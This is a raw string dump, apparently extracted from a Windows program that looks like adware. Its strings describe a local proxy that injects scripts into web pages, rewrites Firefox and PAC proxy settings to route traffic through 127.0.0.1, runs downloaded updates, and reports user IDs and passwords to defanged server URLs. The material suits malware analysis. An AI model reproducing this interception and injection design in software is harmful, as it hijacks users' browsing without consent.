ListenPort

[EngineConfiguration::GetCurrentUserKey] User Key: %X

[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

HttpRedirectProxyPort

HttpRedirectProxyDomain

[CAcceleratorEventsData::OnDeserialize] ___Error get URL

[GZipWrapper::InflateGzipData] ___Error ReadString : %s

[GZipWrapper::InflateGzipData] ___Error Open file : %s

[GZipWrapper::InflateGzipData] ___Error WriteDataToFile : %s

GZipWrapper_%d.tmp

C:\ProgramData\tmp\

http_port

prefs.js

user.js

user_pref("network.proxy.

autoconfig_url

[CAsyncUpdate::DownloadProgress] Downloaded: %d, Total: %d

[CAsyncUpdate::StartUpdate] Download URL: %s

[CAsyncUpdate::StartUpdate] ___Error Sennd Update Command: %s

[CAsyncUpdate::StartUpdate] Update Page: %s

va_conf.dat

[CAsyncUpdate::DownloadComplete] ___Error Send Update Command: %s

[CAsyncUpdate::DownloadComplete] Result: %d, File: %s

1.0.0.0

Temp.dll

[CAsyncUpdate::AnalizeXMLResults] ___Error Trial DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Trial.dat saved to: %s

Trial.dat

RESULT.VA_TRIAL.CONFIG.DATA

Temp.zip

RESULT.VA_RES.RESOURCES.DOWNLOAD_URL

RESULT.VA_RES.RESOURCES.VERSION

RESULT.BLACKLIST.DATA

RESULT.SENDLOGRULE

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_VIDEO_STRING

RESULT.VA.CONFIG.SOCIAL_NETWORKS.TWITTER_FRAME_STRING

RESULT.ADS.SHOW

[CAsyncUpdate::AnalizeXMLResults] ___Error updating Rules DAT file: %s

[CAsyncUpdate::AnalizeXMLResults] Rules saved to: %s

RESULT.VA.CONFIG.SITES.ZIP

RESULT.VA.CONFIG.SITES.XMLVERSION

RESULT.VA.CONFIG.SITES.DATA

[CAsyncUpdate::UpdateSearchComplete] version status = %d

[CAsyncUpdate::UpdateSearchComplete] Result: %d, UpdateExist: %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Removing %s. Err = %d

[CSANotifierMgr::UpdateResourceDll] ___Error: Renaming %s to %s. Err = %d

Old.dll

[DownloadMHTsStatus::DownloadComplete] ___Error: Renaming %s to %s. Err = %d

[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd

[CExecuteUpdate::OnDeserialize] ___Error get m_Directory

[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters

[CExecuteUpdate::OnDeserialize] ___Error get m_Operation

[CExecuteUpdate::OnDeserialize] ___Error get m_File

[CCoreConfig::InitConfig] Product Name %s UseRegistry %d

LastNum%d

LastID%d

1.1.4

%d/%d/%d %d:%d:%d

%s.PARAM

%s.ID

.CONDITIONS.CONDITION[%d]

.LANDING_URL

.ICON

.TOOLTIP

.NOTIFICATION_TYPE

.VALIDATE

.EXPIRATION_HOURS

.EXPIRATION_TIME

.NUM_OF_ICONS

.ANIMATION_TIME

.DISPLAY_TIME

.TYPE

.NUMBER

RESULT.LAMP

RESULT.ALERT

[Core::ShouldUpdate] %s

RESULT.LICENSE.EXPIRATION

RESULT.LICENSE.STATUS

RESULT.LASTERROR

[Core::RequestURL] Filename = %s, URL = %s

RESULT.USER.DAUI

RESULT.ANON.PW

RESULT.ANON.ID

RESULT.USER.PW

RESULT.USER.ID

[Core::AnalyzeXMLResult] Filename = %s

RESULT.STATS.COLLECT

RESULT.DISABLED_PARTNERS

RESULT.UPDATE.PAGE_URL

RESULT.UPDATE.DOWNLOAD_FILENAME

RESULT.UPDATE.DOWNLOAD_URL

RESULT.UPDATE.VERSION

RESULT.UPDATE.EXIST

Core.log

ddd

ddd

2.0.0.0

%DOMAIN%

%s=%s

&OldUserID=%s&OldPassword=%s

%s?%s

hXXp://online.%DOMAIN%.com/online/updateSBPID.aspx

CV=[core-version]&ProductID=[sb-pid]&UserID=[sb-uid]&Password=[sb-upw]&OS=[sb-os]

Password

[Core::SendInfo] Filename = %s, URL = %s

hXXp://online.%DOMAIN%.com/online/Report.aspx

[Core::HitStats] URL = %s

hXXp://pix.%DOMAIN%.com

[Core::BuildUpdateURL] URL = %s

&ElapsedTime=%d

[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

XXX

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open database1_0_0.json

database1_0_0.json

ProxyExtensionInj: can't open Config.json

Config.json

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

